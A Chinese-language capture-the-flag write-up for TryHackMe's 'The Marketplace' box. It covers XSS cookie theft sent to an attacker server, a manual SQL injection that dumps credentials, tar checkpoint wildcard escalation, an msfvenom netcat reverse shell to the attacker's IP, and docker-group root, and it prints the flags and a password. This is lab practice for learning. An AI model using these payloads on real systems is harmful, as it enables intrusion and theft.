打靶记录(十八)之THMThe Marketplace
端口扫描
Web
gobuster dir -u http://10.10.128.25/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 |
简单扫下目录
进主页翻了一下有一个登录和注册页面
/robots.txt进去一看告诉我们有一个/admin页面,但是进去提示未授权无法进入
尝试’ ,发现登录界面也没有注入点。那就想试着先注册一个账号登录
发现可以向管理员发送报告然后管理员会审查,像这种留言形式东西就试着看看有无XSS
在list界面提交一个XSS测试语句,提交后发现弹框,说明存在漏洞
按下F12,在网络界面我们可以看到当前账户有一个cookie,也就是说如果获取到管理员的cookie我们就能伪造管理员身份,而XSS漏洞正好能做这种事
https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py
下载窃取cookie的Python脚本,原理是在本地开启一个服务器,然后管理员处理我们发送的message后会发送他的cookie到我们的服务器,脚本是Python2写的,所以要用Python2运行
python2 XSS-cookie-stealer.py |
其实好像直接用python -m http.server 来开服务器就行了。。。
再新建一个newlist,JS语句为窃取cookie发送至本地服务器,ip改成自己VPNIP
然后提交
获得的是我们自己的cookie,我们还要向管理员报告,获取的才是管理员的cookie
在storage中把token改成管理员cookie,刷新界面,成功变成管理员!
得到第一个flag
THM{c37a63895910e478f28669b048c348d5}
我们可以看到有4个用户,其中一个是我们注册的,还有两个是管理员
随便点进一个用户,我们发现URL中出现了传参,第一个用户是1,第二个是2
发现报错,存在SQL注入,发现用SQLmap跑不出来
Getshell
只能手注了
先order by 看列数,发现有4列
http://10.10.128.25/admin?user=123%20union%20select%20database(),2,3,4%20--%20-
数据库名称为marketplace
查看这个库中的表名
查列名
展示用户名和密码,并用“:”隔开(0x3a的ASCII码对应的就是“:”)
得到jake的密码hash,因为之前看到就他是管理员
$2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG
本来以为直接破解就完事了
结果发现破解不出来
WP是在messages这个表直接发现了密码
@b_ENXkGYUCAv3zJ
看了一些别的WP,有用SQLmap跑出来的
sqlmap -u http://[IP]/admin?user=3 --cookie='token=[Enter Cookie]' --technique=U --delay=2 -dump |
貌似要加入token和延时
ssh连接jake用户
user.txt
THM{c3648ee7af1369676e3e4b15da6dc0b4}
提权
sudo -l 发现能够以michael的身份运行这个脚本,那我们能够这个脚本来切换到michael身份
又是熟悉的”tar”命令,而且正好是”cf”的参数
利用,检查点的方式来执行想要的命令,首先我们先创建一个想执行的脚本shell.sh
chmod +x shell.sh |
在/opt/backups目录
touch ./--checkpoint=1 |
在kali中开启监听
sudo -u michael /opt/backups/backup.sh |
然而不知道为什么总是报错,但是我以jake的身份直接运行shell.sh又能执行,实在是找不到解决方法
无奈之下我只好按照WP的方法用msf生成一个nc的shell
msfvenom -p cmd/unix/reverse_netcat lhost=10.11.38.245 lport=1234 R |
将shell.sh的内容改成
再次执行
总算是连上了
python -c “import pty;pty.spawn(‘/bin/bash’)”
不会提权。。。看WP
id 发现我们是docker组
提权成功
root.txt
THM{d4f76179c80c0dcf46e0f8e43c9abd62}
碎碎念
还有点难度的靶机,第一次实战练习XSS注入窃取cookie,SQL注入也不是SQLmap直接跑的那种,练一下手注也挺不错。然后再次碰到了tar这个命令来提权,还有运用docker组的权限来提权,收货挺大的!